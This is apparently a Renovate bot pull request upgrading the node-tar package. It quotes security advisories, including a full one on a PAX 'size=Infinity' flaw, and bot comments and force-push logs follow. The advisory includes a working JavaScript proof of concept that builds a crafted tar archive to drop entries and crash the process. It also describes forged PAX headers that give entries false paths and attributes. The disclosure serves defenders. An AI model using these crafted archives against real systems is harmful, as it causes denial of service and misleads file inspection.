GNU tar and Python read every file under its true (long) name with correct attributes; node-tar drops the real records and applies the forged ones. The forged linkpath on a plain File is itself the injection route into the path-reservation deadlock (advisory 01), and the forged size feeds the meta-entry desync (advisory 02).

Impact

Integrity via cross-implementation divergence. A single attacker-controlled filename in a directory that a victim archives with any length-compliant packer (GNU tar, bsdtar, Python tarfile), later extracted or listed by a node-tar consumer, or simply a hand-crafted archive, makes node-tar assign an arbitrary path, size, linkpath, mode, uid/gid, or mtime to an entry that every compliant reader sees differently. This defeats name-based and attribute-based inspection and provides an injection route into the two issues above. In default extraction mode the effect is confined to the extraction root (path sanitisation still applies); with preservePaths the forged path may be absolute or contain ... node-tar also cannot round-trip archives it writes itself when filenames contain newlines.

Severity

  • CVSS Score: 7.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


node-tar: Non-finite PAX size (Infinity) bypasses validation, causing extraction entry loss and an uncaught exception when re-packing

CVE-2026-140242 / GHSA-ph3c-p786-j4rp

More information

Details

Summary

tar (node-tar) does not validate that a numeric size value supplied through a PAX extended header (typeflag x) is finite before it is applied to the following archive entry. A PAX record such as 17 size=Infinity\n is coerced to the JavaScript number Infinity and accepted, because the only guard on the value is a >= 0 check and Infinity >= 0 is true. The non-finite size then propagates into the entry-body state machine and, when the entry is re-packed, into numeric header encoding. Any process that parses, extracts, lists, or re-packs an attacker-supplied archive is affected; no authentication or non-default configuration is required.

Root Cause

The PAX key/value parser assigns the size field after a check that was designed only to reject negative values. It never checks that the coerced number is finite or a safe integer, so Infinity (and other non-finite positive values) pass.

// src/pax.ts (parseKVLine)
case 'size':
  const s = +v            // +"Infinity" === Infinity
  if (s >= 0) set[k] = s  // Infinity >= 0 is true, so size is set to Infinity
  break

The >= 0 guard was added to reject negative sizes. It does not enforce finiteness. The secondary guard notNegative() in src/header.ts has the same gap: Infinity < 0 is false, so it returns Infinity unchanged. As a result the entry's size becomes Infinity and reaches two distinct sinks: the parser body-length state machine and the numeric header encoder used during re-packing.

Impact

An unauthenticated remote attacker who can supply a tar archive to a consumer of this library obtains two demonstrated denial-of-service primitives, both from a single crafted archive with no user interaction:

  • Extraction / listing entry loss: when the Infinity-sized entry is parsed, the body-length counter becomes Infinity, the parser never transitions out of the body-consumption state, and every subsequent entry in the archive is silently consumed as body data. Extraction appears to succeed while dropping all following entries. A TAR_BAD_ARCHIVE warning is emitted only at end-of-archive and is ignored by consumers that do not run in strict mode.
  • Re-packing process crash: when entries read from the archive are piped back through the packer (for example via the supported tar.replace() / tar.update() @archive merge syntax, which calls pack.add(entry) on each existing entry), the Infinity size reaches the numeric header encoder, which throws Error("cannot encode number outside of javascript safe integer range") synchronously. The throw is not caught inside the packer, so it surfaces as an uncaught exception and terminates the process.

Both impacts were reproduced against the current published release. The re-packing crash is the worst credible outcome (loss of availability of the host process).

Proof of Concept
Runtime: Node.js >= 18. Package: tar (tested on the current published release).
Setup: build the library from source (npm install && npm run prepare) so the
compiled modules under dist/ are available, then run the script from the source root.

The crafted archive contains a PAX extended header that sets size=Infinity on the next file entry, followed by two ordinary file entries and the end-of-archive marker. The single PAX record 17 size=Infinity\n is exactly 17 bytes, matching its own length prefix, so it parses cleanly.

import { createRequire } from 'node:module';
import { resolve } from 'node:path';
const require = createRequire(resolve(process.cwd(), 'package.json'));
const { Header } = require('./dist/commonjs/header.js');
const { Parser } = require('./dist/commonjs/parse.js');
const { Pack } = require('./dist/commonjs/pack.js');

function block(fields, body = Buffer.alloc(0)) {
  const len = 512 * Math.ceil(1 + body.length / 512);
  const buf = Buffer.alloc(len);
  new Header(fields).encode(buf);
  body.copy(buf, 512);
  return buf;
}

const pax = block(
  { path: 'PaxHeader/x', mode: 0o644, size: 17, type: 'ExtendedHeader', mtime: new Date(0) },
  Buffer.from('17 size=Infinity\n'));
const f1 = block({ path: 'a.txt', mode: 0o644, size: 5, type: 'File', mtime: new Date(0) }, Buffer.from('hello'));
const f2 = block({ path: 'b.txt', mode: 0o644, size: 5, type: 'File', mtime: new Date(0) }, Buffer.from('world'));
const archive = Buffer.concat([pax, f1, f2, Buffer.alloc(1024)]);

// Impact 1: entry loss
let n = 0;
const p1 = new Parser({ strict: false });
p1.on('entry', e => { n++; e.resume(); });
p1.on('end', () => console.log('entries emitted:', n, '(expected 2)'));
p1.end(archive);

// Impact 2: uncaught synchronous throw when re-packing
const p2 = new Parser({ strict: false });
const pack = new Pack({ cwd: '/tmp' });
pack.on('data', () => {}); pack.on('error', () => {});
p2.on('entry', e => { try { pack.add(e); } catch (err) { console.log('throw:', err.message); e.resume(); } });
p2.end(archive);
entries emitted: 1 (expected 2)
throw: cannot encode number outside of javascript safe integer range
Attack Chain
  1. Exposure: The attacker supplies a tar archive to any consumer that parses, extracts, lists, or re-packs it. This is the ordinary, unauthenticated input to the library's public APIs.
  2. Control: The attacker fully controls the PAX extended-header record. The record 17 size=Infinity\n satisfies the length-prefix check (17 === Buffer.byteLength("17 size=Infinity") + 1), so it is parsed verbatim.
  3. Path: parseKVLine reaches the size case, computes +"Infinity" === Infinity, and the if (s >= 0) guard passes because Infinity >= 0 is true. The value flows through Header (notNegative(Infinity) === Infinity) into the read entry, where remain, startBlockSize, and blockRemain all become Infinity.
  4. Guard: The finiteness check that should exist on a size quantity is missing from both parseKVLine and notNegative(). The >= 0 check only rejects negatives; no check rejects Infinity, -Infinity, NaN, or values outside the safe-integer range.
  5. Primitive: In the parser, if (!entry.blockRemain) is !Infinity === false, so the parser never returns to the header state and consumes all remaining bytes as this entry's body. In the packing path, the numeric encoder receives Infinity, fails Number.isSafeInteger(Infinity), and throws synchronously with no surrounding catch.
  6. Result: Silent loss of every entry after the crafted one during extraction or listing, and an uncaught synchronous exception that crashes the host process during re-packing. Both are single-archive, no-interaction denial of service.
Bypass Evidence

The only relevant guard is the >= 0 size check (added to reject negative sizes) and its cousin notNegative(). Neither blocks this vector, verified against the runtime and the published source:

  • +"Infinity" === Infinity and Infinity >= 0 === true, so parseKVLine stores Infinity.
  • notNegative(Infinity) returns Infinity because Infinity < 0 is false.
  • !Infinity === false, so the parser body-state exit condition is never met.
  • Number.isSafeInteger(Infinity) === false, so the numeric encoder throws.

Disproof attempts that failed: the PAX header data size limit only bounds the extended-header block itself (17 bytes here), not the injected file size; the read-entry write-length check data.length > remain is always false against Infinity and never rejects data; no alternate parser state transition exists to recover from the stuck body state; and no try/catch exists anywhere along pack.add() to WriteEntryTar to numeric header encoding. This is not the previously fixed negative-size issue (that fix addressed a different input class, negative values) and it is not the NUL-byte string sanitization issue (that fix strips NUL bytes from string fields and has no effect on the string "Infinity", which contains no NUL). The affected field here is the numeric size, and the root cause is missing finiteness validation.

Affected Versions
  • Ecosystem: npm
  • Package: tar
  • Confirmed affected range: >= 7.0.0, <= 7.5.22
  • Latest release checked: 7.5.22 (npm registry, dist-tag latest)
  • Fix status: not fixed as of 7.5.22

The vu

[!IMPORTANT]
✂ PR body was truncated to here.

@meticulous

meticulous Bot commented Dec 3, 2026 •

Copy link
Copy Markdown

✅ Meticulous spotted 0 visual differences across 14 screens tested: view results.

Meticulous evaluated ~4 hours of user flows against your PR.

Expected differences? Click here. Last updated for commit 0857d51 chore(deps): update dependency tar@<=7.5.17 to v8 [security]. This comment will update as new commits are pushed.

@renovate
renovate Bot force-pushed the renovate/npm-tar-=7.5.17-vulnerability branch from eda00ec to a1b6d6d Compare December 4, 2026 09:15
@gnurizen gnurizen added the rebase label Dec 4, 2026 — with Amp for GitHub
@renovate renovate Bot removed the rebase label Dec 4, 2026
@renovate
renovate Bot force-pushed the renovate/npm-tar-=7.5.17-vulnerability branch from a1b6d6d to c5b0770 Compare December 4, 2026 09:19
@renovate
renovate Bot force-pushed the renovate/npm-tar-=7.5.17-vulnerability branch from c5b0770 to 9931b56 Compare December 4, 2026 10:31
@renovate
renovate Bot force-pushed the renovate/npm-tar-=7.5.17-vulnerability branch from 9931b56 to 787e3d8 Compare December 4, 2026 15:54
@renovate
renovate Bot force-pushed the renovate/npm-tar-=7.5.17-vulnerability branch from 787e3d8 to 5598531 Compare December 4, 2026 21:08
@renovate
renovate Bot force-pushed the renovate/npm-tar-=7.5.17-vulnerability branch from 5598531 to 5a072e8 Compare December 5, 2026 02:09
@renovate
renovate Bot force-pushed the renovate/npm-tar-=7.5.17-vulnerability branch from 5a072e8 to f6d6f67 Compare December 5, 2026 06:14
@renovate
renovate Bot force-pushed the renovate/npm-tar-=7.5.17-vulnerability branch from f6d6f67 to df69b2e Compare December 5, 2026 10:36
@renovate
renovate Bot force-pushed the renovate/npm-tar-=7.5.17-vulnerability branch from df69b2e to ba653b6 Compare December 5, 2026 14:00
@renovate
renovate Bot force-pushed the renovate/npm-tar-=7.5.17-vulnerability branch from ba653b6 to 5797f1b Compare December 6, 2026 01:50

This branch was successfully deployed

1 active deployment
Preview – parca-ui — 0857d516 Deployed Dec 6, 2026 by vercel[bot]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant